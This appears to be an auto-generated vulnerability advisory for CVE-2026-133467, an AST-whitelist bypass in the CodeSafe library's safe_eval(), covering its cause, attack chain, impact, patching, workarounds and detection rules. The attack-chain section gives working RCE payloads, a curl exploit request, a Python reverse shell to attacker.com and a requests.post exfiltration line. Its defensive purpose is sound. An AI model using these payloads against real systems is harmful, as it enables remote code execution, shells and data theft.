CVE-2026-133467 — Infinitode CodeSafe — CWE-95 · CWE-693
CodeSafe is an open-source Python library for code encryption, decryption, and safe evaluation using Python's AST module. From versions 0.0.1 through 0.0.4, the safe_eval() function can be bypassed with indirect subscript calls such as builtins'exec', because AST validation blocks only direct calls to dangerous built-ins. An attacker who controls an expression passed to safe_eval() can execute arbitrary Python code with the permissions of the host application. This issue is fixed in version 0.0.5.
CodeSafe is an open-source Python library for code encryption, decryption, and safe evaluation using Python's AST module. From versions 0.0.1 through 0.0.4, the safe_eval() function can be bypassed with indirect subscript calls such as builtins'exec', because AST validation blocks only direct calls to dangerous built-ins. An attacker who controls an expression passed to safe_eval() can execute arbitrary Python code with the permissions of the host application. This issue is fixed in version 0.0.5.
🎯 What is this vulnerability?
CVE‑2026‑133467 affects CodeSafe 0.0.1 – 0.0.4, an open‑source Python library that offers three public helpers:
encrypt(source: str, key: bytes) -> bytes
decrypt(cipher: bytes, key: bytes) -> str
safe_eval(expr: str, *, globals: dict = None, locals: dict = None) -> Anysafe_eval() is intended to evaluate user‑supplied Python expressions while preventing execution of arbitrary code.
The implementation follows a classic “AST whitelist” pattern:
1. Parse the supplied string with ast.parse(expr, mode='eval').
2. Walk the resulting AST and reject any node that is not in an explicit allow‑list (e.g., ast.BinOp, ast.Call, ast.Name, ast.Subscript, …).
3. For ast.Call nodes the validator checks the direct func attribute: if it resolves to a name that is a known dangerous built‑in (exec, eval, open, compile, …) the call is blocked.
4. If the tree passes validation, the expression is executed with eval(compiled, globals, locals).
The flaw lies in step 3 – the validator only inspects direct Name nodes. It does not consider indirect attribute or subscript look‑ups that resolve at runtime to the same dangerous built‑ins. An attacker can therefore reach builtins.exec (or builtins.eval, builtins.open, etc.) via a subscript expression such as:
builtins['exec']('import os; os.system("id")')Because the AST node for the function is an ast.Subscript, the whitelist treats it as “allowed” and the subsequent runtime lookup returns the real exec object, which is then called. The same technique works with getattr(builtins, 'exec'), globals()['__builtins__']['exec'], or any combination that bypasses the direct‑name check.
CWE‑95 – Improper Neutralization of Directives in Dynamically Evaluated Code
CWE‑693 – Protection Mechanism Failure – the protection (AST whitelist) fails to cover the full attack surface.
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects that:
- Network‑reachable (any code that calls
safe_evalcan be attacked remotely). - Low attack complexity – the bypass requires only a crafted string.
- No privileges or user interaction needed.
- Unchanged scope – the vulnerability is not confined to a single user; any caller of
safe_evalis affected. - Complete impact – arbitrary code execution (RCE) leads to total loss of confidentiality, integrity, and availability.
⚡ Attack Chain
Below is a realistic, end‑to‑end exploitation scenario. The exact HTTP endpoint is not defined in the CVE description; the example uses a typical Flask‑style API that accepts a JSON payload containing an expr field. Replace the URL/parameter names with those used by the target application.
1. Discovery & Reconnaissance
| Step | Technique | Expected Outcome |
|---|---|---|
| a. Identify the library | Search for import codesafe or from codesafe import safe_eval in the code base (static analysis, GitHub search, or by inspecting requirements.txt). | Confirmation that the target uses CodeSafe ≤ 0.0.4. |
| b. Determine the version | Look for codesafe.__version__ in the runtime (e.g., via an info endpoint, error traceback, or by reading site‑packages/codesafe/__init__.py). | Version number (0.0.1‑0.0.4) – vulnerable. |
| c. Locate the entry point | Identify the API that forwards user input to safe_eval. Typical patterns: POST /api/eval, POST /evaluate, or a background job that reads a DB field called expression. | URL/parameter that will be used in the PoC. |
2. Exploitation
Goal: Execute arbitrary Python code on the host process.
2.1 Payload construction
The minimal payload that bypasses the validator and runs id (or any OS command) is:
payload = "builtins['exec']('import os; os.system(\"id\")')"A more stealthy payload that writes a web‑shell file:
payload = (
"builtins['exec']('"
"import os,base64;"
"data=base64.b64decode(\"cHJpbnQoJ0hlbGxvLCB3b3JsZCEnKQ==\");"
"open(\"/tmp/shell.py\",\"wb\").write(data)"
"')"
)The payload is a single string; no additional quoting is required because safe_eval receives the raw string.
2.2 Example request (illustrative)
curl -X POST https://victim.example.com/api/eval \
-H "Content-Type: application/json" \
-d '{"expr": "builtins[\"exec\"](\"import os; os.system(\\\"id\\\")\")"}'If the target uses a form field instead of JSON, replace the body accordingly.
2.3 What happens internally
1. ast.parse() produces an AST where the Call node’s func is an ast.Subscript (builtins['exec']).
2. The validator sees ast.Subscript in its allow‑list → passes.
3. eval() compiles the tree and executes it.
4. At runtime, Python evaluates the subscript, retrieves the real builtins.exec function, and calls it with the supplied string.
5. The string runs os.system("id"), producing the command output (returned to the caller if the library forwards stdout, otherwise the attacker can exfiltrate via a reverse shell, file write, etc.).
3. Post‑Exploitation
| Phase | Typical actions an attacker can take |
|---|---|
| Command & Control | Replace the payload with builtins['exec']('import socket,subprocess,os; s=socket.socket(); s.connect(("attacker.com",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"]))' to obtain a reverse shell. |
| Persistence | Write a malicious Python module to a location that is imported on startup (open("/opt/app/payload.py","w")…). |
| Privilege Escalation | If the process runs as a privileged user (e.g., root), the attacker can read /etc/shadow, modify system files, or install a systemd service. |
| Data Exfiltration | Use builtins['open'] to read sensitive files and send them over HTTP (requests.post('https://attacker.com/loot', data=content)). |
| Cleanup / Anti‑Forensics | Delete the injected expression from logs, overwrite the vulnerable endpoint with a 404, or restart the service to clear in‑memory traces. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) | Practical Consequence |
|---|---|---|
| Confidentiality | High – attacker can read any file the process can access (source code, secrets, database credentials). | |
| Integrity | High – attacker can modify files, inject backdoors, alter configuration, or tamper with application data. | |
| Availability | High – attacker can terminate the process, delete critical files, or launch a denial‑of‑service loop (e.g., while True: pass). |
Because the vulnerability is network‑accessible and requires no authentication, any unauthenticated remote user who can reach the safe_eval endpoint can achieve full remote code execution with the privileges of the host process. In typical deployments (e.g., a web service container running as www-data), the attacker gains the same rights as the web server, which often includes read/write access to the application code and any mounted secrets.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed version |
|---|---|
| 0.0.1 – 0.0.4 | 0.0.5 (released 2026‑10‑30) |
The patch replaces the naïve whitelist with a symbolic‑resolution step that:
ast.Call.func to its final object before execution.exec, eval, compile, open, __import__, …).ast.Subscript or ast.Attribute that could resolve to a built‑in.Action: Update the library via pip:
pip install --upgrade codesafe==0.0.5or, if the project pins the version in requirements.txt, change the line to:
codesafe>=0.0.5and redeploy.
2. Immediate Workarounds (if patch cannot be applied)
| Workaround | How to implement | Effectiveness |
|---|---|---|
Disable safe_eval | Remove or comment out all calls to codesafe.safe_eval in the code base. Replace with a custom, vetted evaluator (e.g., asteval with a locked namespace). | 100 % – eliminates the vulnerable surface. |
| Restrict input source | Accept only a predefined whitelist of expressions (e.g., "1+2", "len(data)"). Validate against a regular expression that forbids brackets, quotes, or the word builtins. | Reduces risk but may be bypassed if regex is too permissive. |
| Run the library in a sandbox | Execute the entire process inside a container or VM with a read‑only filesystem, no network egress, and a non‑root user (e.g., nobody). Use docker run --read-only --cap-drop ALL. | Limits impact of a successful RCE but does not fix the root cause. |
| Network segmentation | Place the vulnerable service behind an internal firewall, allow access only from trusted IP ranges (e.g., internal API gateway). | Lowers the attack surface but does not protect against insider threats. |
| Input sanitisation | Pre‑filter the expression string to reject any occurrence of [ or ] (subscript) and . (attribute access). | Simple but can break legitimate use‑cases; not a substitute for proper patch. |
3. Detection
Log patterns to monitor (example for a Flask app):
POST /api/eval 200 - "expr":"builtins['exec']("
POST /api/eval 200 - "expr":"builtins[\"eval\"]("
POST /api/eval 200 - "expr":"__import__('os').system"Look for the keywords builtins[, __import__, getattr(, or any string that contains exec/eval inside a subscript/attribute context.
Runtime indicators:
/bin/sh, nc, python -c) spawned by the web‑server process (ps aux | grep python)./tmp/, /var/www/, application root) that contain base64‑encoded payloads.netstat -tunp | grep <pid> or eBPF tracing).IDS/IPS signatures (illustrative Snort rule):
alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"CODESAFE safe_eval subscript RCE"; \
flow:established,to_server; \
http_uri; content:"/api/eval"; http_method; content:"POST"; \
http_client_body; pcre:"/builtins\[[\"']?(exec|eval|open)[\"']?\]/i"; \
classtype:remote-code-execution; sid:2026301; rev:1;)Adjust the URI/path to match the actual endpoint.
⚠️ Urgency
codesafe.safe_eval and run versions 0.0.1‑0.0.4 must be upgraded no later than the next scheduled maintenance window. If an upgrade is not possible within 48 hours, apply one of the workarounds (disable the function or sandbox the service) and enable aggressive monitoring for the indicators listed above.Bottom line: CVE‑2026‑133467 is a classic AST‑whitelist bypass that gives an attacker full code execution with no authentication. The fix is a single library upgrade; until then, treat any endpoint that forwards user input to
safe_eval as a remote code execution vector and block or heavily monitor it.[🤖 CVE Professor AI Security Engine]
FOFA Query